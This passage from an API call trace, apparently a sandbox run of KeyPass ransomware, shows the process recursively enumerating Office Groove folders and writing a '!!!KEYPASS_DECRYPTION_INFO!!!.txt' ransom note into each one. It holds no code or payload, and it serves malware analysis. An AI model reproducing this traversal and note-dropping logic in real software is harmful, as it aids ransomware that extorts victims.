FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp") returned=".bmp" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp") returned=".bmp" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierBackground.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierCloseButton.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierDownArrow.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierUpArrow.jpg") returned=".jpg" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierWindowMask.bmp") returned=".bmp" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp") returned=".bmp" [0257.677] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg") returned=".jpg" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\QuestionIcon.jpg") returned=".jpg" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\QuestionIconMask.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared16x16Images.jpg") returned=".jpg" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared24x24Images.jpg") returned=".jpg" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\STOPICON.JPG") returned=".JPG" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\StopIconMask.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp") returned=".bmp" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TipsImage.jpg") returned=".jpg" [0257.678] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.679] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TipsImageMask.bmp") returned=".bmp" [0257.679] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.679] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\VeriSignLogo.jpg") returned=".jpg" [0257.679] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.679] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.679] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.679] GetLastError () returned 0x3f0 [0257.679] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.679] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa64 [0257.680] GetFileType (hFile=0xa64) returned 0x1 [0257.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.681] WriteFile (in: hFile=0xa64, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.681] WriteFile (in: hFile=0xa64, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.681] CloseHandle (hObject=0xa64) returned 1 [0257.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876040 [0257.682] FindNextFileW (in: hFindFile=0x3876040, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.682] FindNextFileW (in: hFindFile=0x3876040, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.682] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.682] FindNextFileW (in: hFindFile=0x3876040, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.682] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.682] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.682] GetLastError () returned 0x3f0 [0257.682] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.682] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa68 [0257.707] GetFileType (hFile=0xa68) returned 0x1 [0257.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.707] WriteFile (in: hFile=0xa68, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.708] WriteFile (in: hFile=0xa68, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.708] CloseHandle (hObject=0xa68) returned 1 [0257.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x38761c0 [0257.708] FindNextFileW (in: hFindFile=0x38761c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.708] FindNextFileW (in: hFindFile=0x38761c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.708] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.708] FindNextFileW (in: hFindFile=0x38761c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.708] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.708] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.708] GetLastError () returned 0x3f0 [0257.708] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.708] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa6c [0257.712] GetFileType (hFile=0xa6c) returned 0x1 [0257.712] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.712] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.712] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.712] WriteFile (in: hFile=0xa6c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.713] WriteFile (in: hFile=0xa6c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.713] CloseHandle (hObject=0xa6c) returned 1 [0257.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3876080 [0257.714] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.714] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.714] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp") returned=".bmp" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg") returned=".jpg" [0257.715] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.715] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg") returned=".jpg" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp") returned=".bmp" [0257.716] FindNextFileW (in: hFindFile=0x3876080, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.716] FindNextFileW (in: hFindFile=0x38761c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.717] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.717] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4dbc070 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.717] GetLastError () returned 0x3f0 [0257.717] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.717] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 